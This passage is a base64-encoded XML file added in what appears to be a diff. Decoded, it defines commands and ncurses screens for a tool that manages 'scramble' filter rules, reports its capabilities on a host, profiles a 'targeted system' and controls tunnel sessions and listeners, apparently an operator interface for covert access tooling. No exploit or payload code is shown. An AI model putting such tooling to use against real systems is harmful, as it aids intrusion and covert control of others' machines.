+ICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2NtZD4NCiAgICA8L2NtZGdycD4NCiAg
+ICA8Y21kIHRpdGxlPSJkZWxldGUiPg0KICAgICAgPGhlbHB0ZXh0PkRlbGV0ZXMgYSBwcmV2aW91
+c2x5IGNyZWF0ZWQgcnVsZSB1c2luZyB0aGUgSUQgcmV0dXJuZWQgZnJvbSBlaXRoZXIgdGhlIHNo
+b3cgb3IgY3JlYXRlIGNvbW1hbmQuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAg
+ICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MTY8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8
+b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmli
+dXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPGNvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2RlbF9hdHRyaWJfMTwv
+bmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2NyYW1ibGUgSUQ8L25jdXJzZWxh
+YmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPHR5cGU+c3RyaW5n
+PC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4zMjwvc2l6ZT4NCiAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBGMDAwMDE2PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1iZXI+
+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8a2V5d29yZCB0aXRsZT0iLWEiPg0KICAgICAg
+ICAgICAgICAgIDx2YWx1ZT4wPC92YWx1ZT4NCiAgICAgICAgICAgICAgPC9rZXl3b3JkPg0KICAg
+ICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAg
+ICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRl
+cy8+DQogICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICA8cGFyYW1ldGVycz4NCiAgICAgICAgPG9w
+dGlvbmFsX3BhcmFtZXRlcnM+DQogICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJmIj4NCiAgICAg
+ICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAg
+PG5jdXJzZWlkPnNjcmFtYmxlX2RlbF9hdHRyaWJfMjwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8
+bmN1cnNlbGFiZWw+Rm9yY2U8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgPGF0dHJpYnV0ZT4N
+CiAgICAgICAgICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXpl
+PjE8L3NpemU+DQogICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVl
+Pg0KICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMTY8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDxoZWxwdGV4
+dD5Gb3JjZSB0aGUgYWN0aW9uIHRvIG9jY3VyIGltbWVkaWF0ZWx5LjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgPC9v
+cHRpb25hbF9wYXJhbWV0ZXJzPg0KICAgICAgPC9wYXJhbWV0ZXJzPg0KICAgICAgPG5jdXJzZXNs
+YXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAg
+ICA8dGl0bGU+RGVsZXRlIFJ1bGU8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1i
+bGVfZGVsX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVf
+ZGVsX2F0dHJpYl8yPC9lbGVtZW50Pg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3Nl
+Y3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRs
+ZT0iZW5hYmxlIj4NCiAgICAgIDxoZWxwdGV4dD5FbmFibGVzIHNjcmFtYmxlIGZpbHRlci48L2hl
+bHB0ZXh0Pg0KICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVz
+Pg0KICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNDwvcHJpbWl0aXZlPg0KICAgICAgICA8
+L3JlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzLz4NCiAg
+ICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICA8cmVxdWlyZWRf
+YXR0cmlidXRlcz4NCiAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8
+bmN1cnNlaWQ+c2NyYW1ibGVfZW5hYmxlX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5TY3JhbWJsZSBJRDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAg
+IDxzaXplPjMyPC9zaXplPg0KICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlLz4NCiAgICAgICAg
+ICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxh
+cmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8a2V5d29yZCB0aXRsZT0iLWEi
+Pg0KICAgICAgICAgICAgICAgIDx2YWx1ZT4wPC92YWx1ZT4NCiAgICAgICAgICAgICAgPC9rZXl3
+b3JkPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9jb21tYW5kX2F0dHJp
+YnV0ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICA8b3B0aW9uYWxf
+YXR0cmlidXRlcy8+DQogICAgICAgIDxpbnZpc2libGVfYXR0cmlidXRlcz4NCiAgICAgICAgICA8
+Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfZW5hYmxl
+X2F0dHJpYl8yPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5GbGFnPC9uY3Vy
+c2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnVp
+bnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+PGRlZmF1bHR2YWx1ZT4xPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwRjAwMDAwNDwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251
+bWJlcj4NCiAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgIDwvaW52aXNpYmxlX2F0dHJpYnV0ZXM+DQogICAgICA8L2F0dHJpYnV0
+ZXM+DQogICAgICA8cGFyYW1ldGVycz4NCiAgICAgICAgPHJlcXVpcmVkX3BhcmFtZXRlcnMvPg0K
+ICAgICAgICA8b3B0aW9uYWxfcGFyYW1ldGVycy8+DQogICAgICA8L3BhcmFtZXRlcnM+DQogICAg
+ICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4N
+CiAgICAgICAgICAgIDx0aXRsZT5TY3JhbWJsZSBFbmFibGU8L3RpdGxlPg0KICAgICAgICAgICAg
+PGVsZW1lbnQ+c2NyYW1ibGVfZW5hYmxlX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgIDwv
+Y29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAg
+PC9jbWQ+DQogICAgPGNtZCB0aXRsZT0iZGlzYWJsZSI+DQogICAgICA8aGVscHRleHQ+RGlzYWJs
+ZXMgc2NyYW1ibGUgZmlsdGVyLjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAg
+ICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0
+PC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9w
+dGlvbmFsX3ByaW1pdGl2ZXMvPg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPGF0dHJpYnV0
+ZXM+DQogICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxjb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9kaXNhYmxlX2F0dHJpYl8x
+PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TY3JhbWJsZSBJRDwvbmN1cnNl
+bGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8dHlwZT5zdHJp
+bmc8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjMyPC9zaXplPg0KICAgICAgICAgICAgICA8
+ZGVmYXVsdHZhbHVlLz4NCiAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAg
+ICAgICA8a2V5d29yZCB0aXRsZT0iLWEiPg0KICAgICAgICAgICAgICAgIDx2YWx1ZT4wPC92YWx1
+ZT4NCiAgICAgICAgICAgICAgPC9rZXl3b3JkPg0KICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1
+dGVzPg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+DQogICAgICAgIDxpbnZpc2libGVf
+YXR0cmlidXRlcz4NCiAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8
+bmN1cnNlaWQ+c2NyYW1ibGVfZGlzYWJsZV9hdHRyaWJfMjwvbmN1cnNlaWQ+DQogICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+RmxhZzwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXpl
+PjE8L3NpemU+DQogICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0K
+ICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAg
+ICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICA8L2F0dHJpYnV0ZT4N
+CiAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICA8L2ludmlzaWJsZV9hdHRy
+aWJ1dGVzPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAg
+IDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAgPG9wdGlvbmFsX3BhcmFtZXRlcnM+DQog
+ICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJmIj4NCiAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZl
+PmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2Rp
+c2FibGVfYXR0cmliXzM8L25jdXJzZWlkPg0KICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkZvcmNl
+PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0
+eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAg
+ICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgIDxhcmdudW1i
+ZXI+MzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8aGVscHRleHQ+Rm9yY2UgdGhlIGFjdGlv
+biB0byBvY2N1ciBpbW1lZGlhdGVseS48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgPC9hdHRyaWJ1
+dGU+DQogICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgIDwvb3B0aW9uYWxfcGFyYW1ldGVy
+cz4NCiAgICAgIDwvcGFyYW1ldGVycz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8
+c2VjdGlvbj4NCiAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPlNjcmFtYmxl
+IERpc2FibGU8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfZGlzYWJsZV9h
+dHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2Rpc2FibGVf
+YXR0cmliXzM8L2VsZW1lbnQ+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlv
+bj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgPC9jbWRncnA+DQogIDxj
+bWRncnAgdGl0bGU9ImNhcGFiaWxpdHkiPg0KICAgIDxjbWQgdGl0bGU9InNob3ciPg0KICAgICAg
+PGhlbHB0ZXh0Pkxpc3RzIHRoZSBiYXNlbGluZSB2ZXJzaW9uIGFuZCBjYXBhYmlsaXRpZXMgb2Yg
+dGhlIHRvb2wgb24gdGhlIGhvc3QgZGV2aWNlLjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZl
+cz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4w
+eDEwMDAwMDAwPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAg
+ICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXM+DQogICAgICAgIDwvb3B0aW9uYWxfcHJpbWl0aXZl
+cz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxwYXJhbWV0ZXJzPg0KICAgICAgICA8cmVx
+dWlyZWRfcGFyYW1ldGVycy8+DQogICAgICAgIDxvcHRpb25hbF9wYXJhbWV0ZXJzPg0KICAgICAg
+ICAgIDxwYXJhbWV0ZXIgZmxhZz0idiI+DQogICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxz
+ZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgIDxuY3Vyc2VpZD5jYXBhYmlsaXR5X3Nob3df
+cGFyYW1fdjwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFiZWw+QWxsPC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnByZXNl
+bmNlPC90eXBlPg0KICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICA8
+dHlwZWRlc2M+djwvdHlwZWRlc2M+DQogICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwv
+ZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MTAwMDAwMDA8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAgICAg
+ICAgIDxoZWxwdGV4dD5MaXN0IGFsbCB0aGUgY29tcG9uZW50cyBvZiB0aGUgYmFzZWxpbmUgYW5k
+IHRoZSBhY3Rpb24gYmxvY2tzIG9mIHRoZSBjYXBhYmlsaXRpZXMuPC9oZWxwdGV4dD4NCiAgICAg
+ICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICA8L29w
+dGlvbmFsX3BhcmFtZXRlcnM+DQogICAgICA8L3BhcmFtZXRlcnM+DQogICAgICA8bmN1cnNlc2xh
+eW91dD4NCiAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAg
+IDx0aXRsZT5DYXBhYmlsaXR5IHNob3c8L3RpdGxlPg0KICAgICAgICAgICAgPGVsZW1lbnQ+Y2Fw
+YWJpbGl0eV9zaG93X3BhcmFtX3Y8L2VsZW1lbnQ+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAg
+ICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgPC9j
+bWRncnA+DQogIDxjbWRncnAgdGl0bGU9InN5c3RlbSI+DQogICAgPGNtZCB0aXRsZT0icHJvZmls
+ZSI+DQogICAgICA8aGVscHRleHQ+VGhpcyBjb21tYW5kIGdpdmVzIGFuIG92ZXJ2aWV3IG9mIHRo
+ZSB0YXJnZXRlZCBzeXN0ZW0uPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAg
+ICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MTEwMDAwMDA8
+L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0
+aW9uYWxfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDcwMDAwMDQ8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDcwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICA8cHJpbWl0aXZlPjB4MEMwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MEUwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDE8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MDQwMDAwMDE8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgPC9vcHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgPC9wcmltaXRpdmVzPg0K
+ICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4NCiAgICAg
+ICAgPG9wdGlvbmFsX3BhcmFtZXRlcnMvPg0KICAgICAgPC9wYXJhbWV0ZXJzPg0KICAgICAgPG5j
+dXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAg
+ICAgICAgICA8dGl0bGU+U3lzdGVtIFByb2ZpbGU8L3RpdGxlPg0KICAgICAgICAgIDwvY29sdW1u
+Pg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+
+DQogIDwvY21kZ3JwPg0KICA8Y21kZ3JwIHRpdGxlPSJ0dW4iPg0KICAgIDxjbWQgdGl0bGU9InNo
+b3ciPg0KICAgICAgPGhlbHB0ZXh0PlRoaXMgc2hvd3MgYSBzdW1tYXJ5IG9mIHRoZSBjdXJyZW50
+IHR1bm5lbCBzZXNzaW9ucyBhbmQgbGlzdGVuZXJzLjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0
+aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1pdGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2
+ZT4weDEyMDAwMDAwPC9wcmltaXRpdmU+DQogICAgICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4N
+CiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXM+PC9vcHRpb25hbF9wcmltaXRpdmVzPg0KICAg
+ICAgPC9wcmltaXRpdmVzPg0KICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgIDxyZXF1aXJlZF9w
+YXJhbWV0ZXJzLz4NCiAgICAgICAgPG9wdGlvbmFsX3BhcmFtZXRlcnMvPg0KICAgICAgPC9wYXJh
+bWV0ZXJzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+VHVuIFNob3c8L3RpdGxlPg0KICAgICAg
+ICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlvdXQ+
+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0ic2Vzc2lvbiI+DQogICAgICA8aGVscHRleHQ+
+VGhpcyBzaG93cyBkZXRhaWxlZCBzZXNzaW9uIGluZm9ybWF0aW9uIGZvciBhIGdpdmVuIHNlc3Np
+b24uPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJp
+bWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MTIwMDAwMDE8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZl
+cz48L29wdGlvbmFsX3ByaW1pdGl2ZXM+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0
+cmlidXRlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfYXR0cmlidXRlcz4NCiAgICAgICAgICAgICAg
+PGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICAgICAgPG5jdXJzZWlkPnR1bl9zZXNz
+aW9uX2F0dHJpYl8xPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5T
+ZXNzaW9uIElEPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAg
+ICAgICAgIDxzaXplPjMyPC9zaXplPg0KICAgICAgICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFs
+dWUvPg0KICAgICAgICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgxMjAwMDAwMTwvcHJpbWl0
+aXZlPg0KICAgICAgICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAg
+ICAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDwvY29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxvcHRp
+b25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgICA8aW52aXNpYmxlX2F0dHJpYnV0ZXMvPg0KICAg
+ICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgPHBhcmFtZXRlcnM+DQogICAgICAgIDxyZXF1aXJlZF9w
+YXJhbWV0ZXJzLz4NCiAgICAgICAgPG9wdGlvbmFsX3BhcmFtZXRlcnMvPg0KICAgICAgPC9wYXJh
+bWV0ZXJzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+VHVuIFNlc3Npb248L3RpdGxlPg0KICAg
+ICAgICAgICAgPGVsZW1lbnQ+dHVuX3Nlc3Npb25fYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAg
+ICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4N
+CiAgICA8L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJjbG9zZSI+DQogICAgICA8aGVscHRleHQ+Rm9y
+Y2libHkgY2xvc2UgdGhlIHNwZWNpZmllZCB0dW5uZWwgc2VjdGlvbi48L2hlbHB0ZXh0Pg0KICAg
+ICAgPHByaW1pdGl2ZXM+DQogICAgICAgIDxyZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAg
+IDxwcmltaXRpdmU+MHgxMjAwMDAwMjwvcHJpbWl0aXZlPg0KICAgICAgICA8L3JlcXVpcmVkX3By
+aW1pdGl2ZXM+DQogICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzPjwvb3B0aW9uYWxfcHJpbWl0
+aXZlcz4NCiAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgIDxhdHRyaWJ1dGVzPg0KICAgICAgICAg
+IDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgICA8bmN1cnNlaWQ+dHVuX2Nsb3NlX2F0dHJpYl8xPC9uY3Vyc2Vp
+ZD4NCiAgICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TZXNzaW9uIElEPC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgICAgICAg
+PHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgICAgICAgIDxzaXplPjMyPC9zaXpl
+Pg0KICAgICAgICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWUvPg0KICAgICAgICAgICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgxMjAwMDAwMjwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAg
+ICAgICAgIDxhcmdudW1iZXI+MTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgICAgPC9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgPC9y
+ZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAg
+ICAgICAgICA8aW52aXNpYmxlX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9hdHRyaWJ1dGVzPg0KICAg
+ICAgPHBhcmFtZXRlcnM+DQogICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAg
+PG9wdGlvbmFsX3BhcmFtZXRlcnMvPg0KICAgICAgPC9wYXJhbWV0ZXJzPg0KICAgICAgPG5jdXJz
+ZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgIDxjb2x1bW4+DQogICAgICAg
+ICAgICA8dGl0bGU+VHVuIENsb3NlPC90aXRsZT4NCiAgICAgICAgICAgIDxlbGVtZW50PnR1bl9j
+bG9zZV9hdHRyaWJfMTwvZWxlbWVudD4NCiAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgPC9z
+ZWN0aW9uPg0KICAgICAgPC9uY3Vyc2VzbGF5b3V0Pg0KICAgIDwvY21kPg0KICAgIDxjbWQgdGl0
+bGU9ImluaXQiPg0KICAgICAgPGhlbHB0ZXh0PkNyZWF0ZXMgYSB0dW5uZWwgYmFzZWQgb24gdGhl
+IGluZm9ybWF0aW9uIGluIHRoZSBob3N0IGZpbGUuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRp
+dmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZl
